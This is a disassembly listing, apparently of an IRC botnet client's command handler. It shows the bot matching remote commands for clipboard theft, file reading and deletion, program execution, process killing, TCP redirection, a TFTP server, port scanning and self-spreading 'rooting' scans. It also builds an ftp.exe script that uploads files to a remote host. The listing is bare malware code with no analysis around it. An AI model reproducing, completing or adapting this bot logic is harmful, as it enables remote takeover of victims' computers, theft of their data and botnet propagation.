jl short loc_4076E3
lea eax, [ebp+esi+var_A4]
mov ecx, [eax]
cmp ecx, ebx
jz loc_406FF9
add ecx, 3
mov [eax], ecx
loc_407715: ; CODE XREF: sub_406BAB+9A8j
mov edi, [ebp+esi+var_A4]
push edi
push offset aRndnick ; "rndnick"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409EF6
push edi
push offset aRn ; "rn"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409EF6
push edi
push offset aDie ; "die"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409ED4
push edi
push offset aDe ; "de"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409ED4
push edi
push offset aLogout ; "logout"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409E30
push edi
push offset aLo ; "lo"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409E30
push edi
push offset aLogstop ; "logstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4077C3
push [ebp+esi+var_A0]
push 1Ah
push offset aLogList ; "Log list"
push offset aLog ; "LOG "
jmp loc_409E14
; ---------------------------------------------------------------------------
loc_4077C3: ; CODE XREF: sub_406BAB+BFEj
push edi
push offset aRedirectstop ; "redirectstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4077EC
push [ebp+esi+var_A0]
push 0Fh
push offset aTcpRedirect ; "TCP redirect"
push offset aRedirect_0 ; "REDIRECT "
jmp loc_409E14
; ---------------------------------------------------------------------------
loc_4077EC: ; CODE XREF: sub_406BAB+C27j
push edi
push offset aTftpstop ; "tftpstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_407815
push [ebp+esi+var_A0]
push 4
push offset aServer ; "Server"
push offset aTftp_0 ; "TFTP "
jmp loc_409E14
; ---------------------------------------------------------------------------
loc_407815: ; CODE XREF: sub_406BAB+C50j
push edi
push offset aProcsstop ; "procsstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409E01
push edi
push offset aPsstop ; "psstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409E01
push edi
push offset aSecurestop ; "securestop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_407868
push [ebp+esi+var_A0]
push 18h
push offset aSecure ; "Secure"
push offset aSecure_0 ; "SECURE "
jmp loc_409E14
; ---------------------------------------------------------------------------
loc_407868: ; CODE XREF: sub_406BAB+CA3j
push edi
push offset aScanstop ; "scanstop"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_407891
push [ebp+esi+var_A0]
push 7
push offset aProcess ; "process"
push offset aRooting ; "Rooting"
jmp loc_409E14
; ---------------------------------------------------------------------------
loc_407891: ; CODE XREF: sub_406BAB+CCCj
push edi
push offset aScanstats ; "scanstats"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DE8
push edi
push offset aStats ; "stats"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DE8
push edi
push offset aReconnect ; "reconnect"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DD2
push edi
push offset aR ; "r"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DD2
push edi
push offset aDisconnect ; "disconnect"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DBB
push edi
push offset aD ; "d"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409DBB
push edi
push offset aQuit_0 ; "quit"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409D72
push edi
push offset aQ ; "q"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409D72
push edi
push offset aStatus ; "status"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409D34
push edi
push offset aS_2 ; "s"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409D34
push edi
push offset aIdw ; "idw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409CFD
push edi
push offset aIdw ; "idw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409CFD
push edi
push offset aReboot ; "reboot"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4079DF
call sub_4054A5
test eax, eax
mov eax, offset unk_41D658
jnz short loc_4079B1
mov eax, offset unk_41D630
loc_4079B1: ; CODE XREF: sub_406BAB+DFFj
push eax
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 1Ch
jmp loc_408A8B
; ---------------------------------------------------------------------------
loc_4079DF: ; CODE XREF: sub_406BAB+DF1j
push edi
push offset aThreads ; "threads"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409C10
push edi
push offset aT ; "t"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409C10
push edi
push offset aAliases ; "aliases"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BFA
push edi
push offset aAl ; "al"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BFA
push edi
push offset aNetinfo ; "netinfo"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BCA
push edi
push offset aNi ; "ni"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BCA
push edi
push offset aSysinfo ; "sysinfo"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BB3
push edi
push offset aSi ; "si"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409BB3
push edi
push offset aRrmm010kt ; "rrmm010kt"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409B79
push edi
push offset aRrmm010kt ; "rrmm010kt"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409B79
push edi
push offset aProcs ; "procs"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409A5E
push edi
push offset aPs ; "ps"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409A5E
push edi
push offset aUptime ; "uptime"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4099D7
push edi
push offset aUp ; "up"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4099D7
push edi
push offset aDriveinfo ; "driveinfo"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4099B7
push edi
push offset aDrv ; "drv"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4099B7
push edi
push offset aWho ; "who"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_407BB6
cmp [ebp+var_8], ebx
jnz short loc_407B5F
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_407B5F: ; CODE XREF: sub_406BAB+F98j
mov edi, [ebp+arg_18]
xor esi, esi
loc_407B64: ; CODE XREF: sub_406BAB+FFFj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_407B70
mov eax, offset aEmpty ; "<Empty>"
loc_407B70: ; CODE XREF: sub_406BAB+FBEj
push eax
push esi
lea eax, [ebp+var_2E4]
push offset aD_S ; "%d. %s"
push eax
call sub_40B0B3
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_407B64
push offset unk_41D584
jmp loc_40919C
; ---------------------------------------------------------------------------
loc_407BB6: ; CODE XREF: sub_406BAB+F93j
push edi
push offset aGetclip ; "getclip"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40996E
push edi
push offset aGc ; "gc"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40996E
push edi
push offset aFlusharp ; "flusharp"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409943
push edi
push offset aFarp ; "farp"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409943
push edi
push offset aFlushdns ; "flushdns"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409913
push edi
push offset aFdns ; "fdns"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409913
push edi
push offset aCurrentip ; "currentip"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4098D6
push edi
push offset aCip ; "cip"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4098D6
push edi
push offset aTftpserver ; "tftpserver"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4097A1
push edi
push offset aTftp ; "tftp"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4097A1
push edi
push offset aAlls ; "alls"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409496
push edi
push offset aAlls ; "alls"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409496
mov eax, [ebp+esi+var_A0]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_406FF9
push edi
push offset aNick_0 ; "nick"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409489
push edi
push offset aN ; "n"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409489
push edi
push offset aJoin ; "join"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40947A
push edi
push offset aJ ; "j"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40947A
push edi
push offset aPart_0 ; "part"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40946D
push edi
push offset aPt ; "pt"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40946D
push edi
push offset aRaw ; "raw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409444
push edi
push offset aR ; "r"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409444
push edi
push offset aKillthread ; "killthread"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409387
push edi
push offset aK ; "k"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409387
push edi
push offset aPrefixw ; "prefixw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40936E
push edi
push offset aPrw ; "prw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40936E
push edi
push offset aOpen ; "open"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40933A
push edi
push offset aO ; "o"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40933A
push edi
push offset aServerw ; "serverw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409311
push edi
push offset aSew ; "sew"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409311
push edi
push offset aDns ; "dns"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4092A1
push edi
push offset aDn ; "dn"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4092A1
push edi
push offset aKillproc ; "killproc"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409265
push edi
push offset aKp ; "kp"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409265
push edi
push offset aKill ; "kill"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409206
push edi
push offset aKi ; "ki"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409206
push edi
push offset aDelete ; "delete"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4091A7
push edi
push offset aDel ; "del"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4091A7
push edi
push offset aMirccmd ; "mirccmd"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409131
push edi
push offset aMirc_0 ; "mirc"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409131
push edi
push offset aReadfile ; "readfile"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4090A3
push edi
push offset aRf ; "rf"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4090A3
push edi
push offset aGethost ; "gethost"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408FBF
push edi
push offset aGh ; "gh"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408FBF
mov eax, [ebp+esi+var_9C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_406FF9
push edi
push offset aAddalias ; "addalias"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408F7C
push edi
push offset aAa ; "aa"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408F7C
push edi
push offset aPrivmsg_0 ; "privmsg"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408F3D
push edi
push offset aPm ; "pm"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408F3D
push edi
push offset aAction ; "action"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408EDB
push edi
push offset aA_0 ; "a"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408EDB
push edi
push offset aCycle ; "cycle"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408E7D
push edi
push offset aCy ; "cy"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408E7D
push edi
push offset aMode ; "mode"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408E4C
push edi
push offset aM ; "m"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408E4C
push edi
push offset aRepeat ; "repeat"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408D84
push edi
push offset aRp ; "rp"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408D84
push edi
push offset aDelay ; "delay"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push edi
push offset aDe ; "de"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push edi
push offset aKkttupw ; "kkttupw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408B3D
push edi
push offset aKkttupw ; "kkttupw"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408B3D
push edi
push offset aExecute ; "execute"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408AA2
push edi
push offset aE ; "e"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408AA2
push edi
push offset aRename ; "rename"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408A1A
push edi
push offset aMv ; "mv"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408A1A
push edi
push offset aKktt ; "kktt"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4088A2
push edi
push offset aKktt ; "kktt"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4088A2
push edi
push offset aRedirect ; "redirect"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4087A3
push edi
push offset aRd ; "rd"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4087A3
push edi
push offset aPortscan ; "portscan"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4086AB
push edi
push offset aPsc ; "psc"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4086AB
cmp [ebp+esi+var_94], ebx
jz loc_406FF9
push edi
push offset aAss ; "ass"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408353
push edi
push offset aAas ; "aas"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_408353
cmp [ebp+esi+var_90], ebx
jz loc_406FF9
push edi
push offset aUpload ; "upload"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_409F32
mov edi, [ebp+esi+var_90]
push 4
push edi
call sub_4037EA
pop ecx
test eax, eax
pop ecx
jnz short loc_40821B
push edi
push offset dword_41D3A4
loc_4081E2: ; CODE XREF: sub_406BAB+1AE6j
; sub_406BAB+27FEj
lea eax, [ebp+var_2E4]
push eax
call sub_40B0B3
add esp, 0Ch
loc_4081F1: ; CODE XREF: sub_406BAB+1AFBj
; sub_406BAB+240Fj ...
cmp [ebp+var_8], ebx
jnz loc_409B55
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
loc_40820E: ; CODE XREF: sub_406BAB+1E58j
call sub_404555
add esp, 14h
jmp loc_409B55
; ---------------------------------------------------------------------------
loc_40821B: ; CODE XREF: sub_406BAB+162Fj
call dword_41705C ; GetTickCount
push eax
call sub_40B545
pop ecx
call sub_40B54F
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_40B54F
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_40B54F
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_3E8]
push edx
push eax
lea eax, [ebp+var_A78]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_40B0B3
lea eax, [ebp+var_A78]
push offset aAb ; "ab"
push eax
call sub_40C7B8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_406FF9
push edi
push [ebp+esi+var_94]
push [ebp+esi+var_98]
push [ebp+arg_18]
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_40D411
push [ebp+arg_24]
call sub_40C3BA
lea eax, [ebp+var_A78]
push eax
lea eax, [ebp+var_530]
push offset aSS_4 ; "-s:%s"
push eax
call sub_40B0B3
add esp, 2Ch
lea eax, [ebp+var_530]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_42B358
push [ebp+arg_10]
test eax, eax
push edi
jz short loc_4082F1
push offset dword_41D334
jmp short loc_4082F6
; ---------------------------------------------------------------------------
loc_4082F1: ; CODE XREF: sub_406BAB+173Dj
push offset dword_41D304
loc_4082F6: ; CODE XREF: sub_406BAB+1744j
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40831F
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40831F: ; CODE XREF: sub_406BAB+1756j
lea eax, [ebp+var_2E4]
push eax
call sub_403145
jmp short loc_408339
; ---------------------------------------------------------------------------
loc_40832D: ; CODE XREF: sub_406BAB+17A1j
lea eax, [ebp+var_A78]
push eax
call sub_40D3E7
loc_408339: ; CODE XREF: sub_406BAB+1780j
lea eax, [ebp+var_A78]
push 4
push eax
call sub_4037EA
add esp, 0Ch
test eax, eax
jnz short loc_40832D
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_408353: ; CODE XREF: sub_406BAB+15DFj
; sub_406BAB+15F4j
push 7
call sub_40AC96
push [ebp+arg_18]
mov edi, eax
call sub_40C3AF
add eax, edi
pop ecx
cmp eax, 258h
pop ecx
jle short loc_408397
push edi
lea eax, [ebp+var_2E4]
push offset unk_41D2C4
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
jmp loc_408F2D
; ---------------------------------------------------------------------------
loc_408397: ; CODE XREF: sub_406BAB+17C2j
push [ebp+arg_10]
call sub_40C3AF
push [ebp+arg_18]
mov [ebp+var_31C], eax
call sub_40C3AF
push [ebp+esi+var_98]
mov [ebp+var_304], eax
call sub_40C3AF
add esp, 0Ch
cmp eax, 3
mov [ebp+var_318], eax
jnb short loc_4083D6
push 3
pop eax
mov [ebp+var_318], eax
loc_4083D6: ; CODE XREF: sub_406BAB+1820j
push 0Ah
pop ecx
cmp eax, ecx
jbe short loc_4083E3
mov [ebp+var_318], ecx
loc_4083E3: ; CODE XREF: sub_406BAB+1830j
push [ebp+esi+var_94]
call sub_40C3AF
mov [ebp+var_314], eax
mov eax, 3E7h
cmp [ebp+var_314], eax
pop ecx
jbe short loc_408409
mov [ebp+var_314], eax
loc_408409: ; CODE XREF: sub_406BAB+1856j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_419068, ebx
mov [ebp+arg_8], ebx
jz short loc_408458
mov edi, offset dword_419068
loc_408420: ; CODE XREF: sub_406BAB+188Fj
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_40843E
inc [ebp+arg_8]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_408420
jmp short loc_408458
; ---------------------------------------------------------------------------
loc_40843E: ; CODE XREF: sub_406BAB+1885j
mov eax, [ebp+arg_8]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_419068[ecx]
mov [ebp+var_31C], ecx
loc_408458: ; CODE XREF: sub_406BAB+186Ej
; sub_406BAB+1891j
cmp [ebp+var_31C], ebx
jnz short loc_40846A
push offset unk_41D28C
jmp loc_4093B3
; ---------------------------------------------------------------------------
loc_40846A: ; CODE XREF: sub_406BAB+18B3j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_4084A8
cmp byte ptr [edi], 23h
jz short loc_4084A8
push edi
lea eax, [ebp+var_430]
push 10h
push eax
call sub_40BDE7
push 78h
push edi
call sub_40CFC0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_2F0], eax
jmp loc_40857C
; ---------------------------------------------------------------------------
loc_4084A8: ; CODE XREF: sub_406BAB+18CBj
; sub_406BAB+18D0j
cmp [ebp+var_913], bl
jnz short loc_4084CA
cmp [ebp+var_912], bl
jnz short loc_4084CA
cmp [ebp+var_902], bl
jnz short loc_4084CA
push offset unk_41D254
jmp loc_4093B3
; ---------------------------------------------------------------------------
loc_4084CA: ; CODE XREF: sub_406BAB+1903j
; sub_406BAB+190Bj ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_42B37C ; getsockname
mov al, [ebp+var_913]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_430]
push eax
call sub_40B110
add esp, 0Ch
cmp [ebp+var_902], bl
jz short loc_408576
xor eax, eax
cmp [ebp+var_913], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_40D3C0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40856A
loc_408548: ; CODE XREF: sub_406BAB+19BDj
cmp eax, ebx
jz short loc_40856A
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_40D3C0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_408548
loc_40856A: ; CODE XREF: sub_406BAB+199Bj
; sub_406BAB+199Fj
mov [ebp+var_2F0], 1
jmp short loc_40857C
; ---------------------------------------------------------------------------
loc_408576: ; CODE XREF: sub_406BAB+1975j
mov [ebp+var_2F0], ebx
loc_40857C: ; CODE XREF: sub_406BAB+18F8j
; sub_406BAB+19C9j
mov eax, [ebp+arg_4]
push [ebp+var_9C]
mov [ebp+var_320], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov edi, 80h
lea eax, [ebp+var_420]
push edi
push eax
call sub_40BDE7
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4085D0
loc_4085BD: ; CODE XREF: sub_406BAB+1A48j
push esi
loc_4085BE: ; CODE XREF: sub_406BAB+1A32j
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_40BDE7
add esp, 0Ch
jmp short loc_4085FB
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_406BAB+1A10j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4085DF
cmp byte ptr [eax], 23h
jnz short loc_4085DF
push eax
jmp short loc_4085BE
; ---------------------------------------------------------------------------
loc_4085DF: ; CODE XREF: sub_406BAB+1A2Aj
; sub_406BAB+1A2Fj
mov esi, offset aPrv_1 ; "#prv##"
push offset byte_422270
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4085BD
mov [ebp+var_3A0], bl
loc_4085FB: ; CODE XREF: sub_406BAB+1A23j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40860D
mov eax, offset aSequential ; "Sequential"
loc_40860D: ; CODE XREF: sub_406BAB+1A5Bj
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D1D8
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40AA54
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_401704
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_40869E
call dword_417044 ; RtlGetLastWin32Error
push eax
push offset unk_41D1A0
jmp loc_4081E2
; ---------------------------------------------------------------------------
loc_408696: ; CODE XREF: sub_406BAB+1AF9j
push 32h
call dword_417040 ; Sleep
loc_40869E: ; CODE XREF: sub_406BAB+1AD8j
cmp [ebp+var_2EC], ebx
jz short loc_408696
jmp loc_4081F1
; ---------------------------------------------------------------------------
loc_4086AB: ; CODE XREF: sub_406BAB+15A8j
; sub_406BAB+15BDj
push [ebp+arg_10]
call dword_42B410 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_448], eax
call sub_40C3AF
push [ebp+esi+var_98]
mov [ebp+var_454], eax
call sub_40C3AF
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_9C]
mov [ebp+var_450], eax
lea eax, [ebp+var_4D4]
mov [ebp+var_4D8], esi
push eax
call sub_40B110
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_440], edi
push [ebp+var_450]
mov [ebp+var_43C], eax
push [ebp+var_454]
push [ebp+var_448]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D164
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40AA54
add esp, 20h
mov [ebp+var_44C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4D8]
push ebx
push eax
push offset sub_406331
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_44C]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_408796
call dword_417044 ; RtlGetLastWin32Error
push eax
push offset unk_41D1A0
jmp loc_4089DB
; ---------------------------------------------------------------------------
loc_40878E: ; CODE XREF: sub_406BAB+1BF1j
push 32h
call dword_417040 ; Sleep
loc_408796: ; CODE XREF: sub_406BAB+1BD0j
cmp [ebp+var_438], ebx
jz short loc_40878E
jmp loc_4089EA
; ---------------------------------------------------------------------------
loc_4087A3: ; CODE XREF: sub_406BAB+157Ej
; sub_406BAB+1593j
push [ebp+arg_10]
call sub_40C3AF
push 7Fh
mov [ebp+var_300], eax
push [ebp+arg_18]
lea eax, [ebp+var_404]
push eax
call sub_40B110
push [ebp+esi+var_98]
call sub_40C3AF
push [ebp+var_9C]
mov esi, [ebp+arg_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_384]
push 80h
push eax
mov [ebp+var_40C], esi
call sub_40BDE7
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+var_304]
lea eax, [ebp+var_404]
mov [ebp+var_2F4], edi
push eax
push [ebp+var_300]
push esi
call sub_405752
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D124
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_2E4]
push 0Fh
push eax
call sub_40AA54
add esp, 24h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_405AD8
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_408895
call dword_417044 ; RtlGetLastWin32Error
push eax
push offset unk_41D0E0
jmp loc_4089DB
; ---------------------------------------------------------------------------
loc_40888D: ; CODE XREF: sub_406BAB+1CF0j
push 32h
call dword_417040 ; Sleep
loc_408895: ; CODE XREF: sub_406BAB+1CCFj
cmp [ebp+var_2EC], ebx
jz short loc_40888D
jmp loc_4089EA
; ---------------------------------------------------------------------------
loc_4088A2: ; CODE XREF: sub_406BAB+1554j
; sub_406BAB+1569j
mov edi, 0FFh
lea eax, [ebp+var_770]
push edi
push [ebp+arg_10]
push eax
call sub_40B110
push edi
lea eax, [ebp+var_670]
push [ebp+arg_18]
push eax
call sub_40B110
mov eax, [ebp+esi+var_98]
add esp, 18h
cmp eax, ebx
mov [ebp+var_56C], ebx
jz short loc_4088EA
push eax
call sub_40C3AF
pop ecx
mov [ebp+var_568], eax
jmp short loc_4088F0
; ---------------------------------------------------------------------------
loc_4088EA: ; CODE XREF: sub_406BAB+1D2Ej
mov [ebp+var_568], ebx
loc_4088F0: ; CODE XREF: sub_406BAB+1D3Dj
mov eax, [ebp+esi+var_94]
cmp eax, ebx
jz short loc_40890F
push 10h
push ebx
push eax
call sub_40CC7B
add esp, 0Ch
mov [ebp+var_560], eax
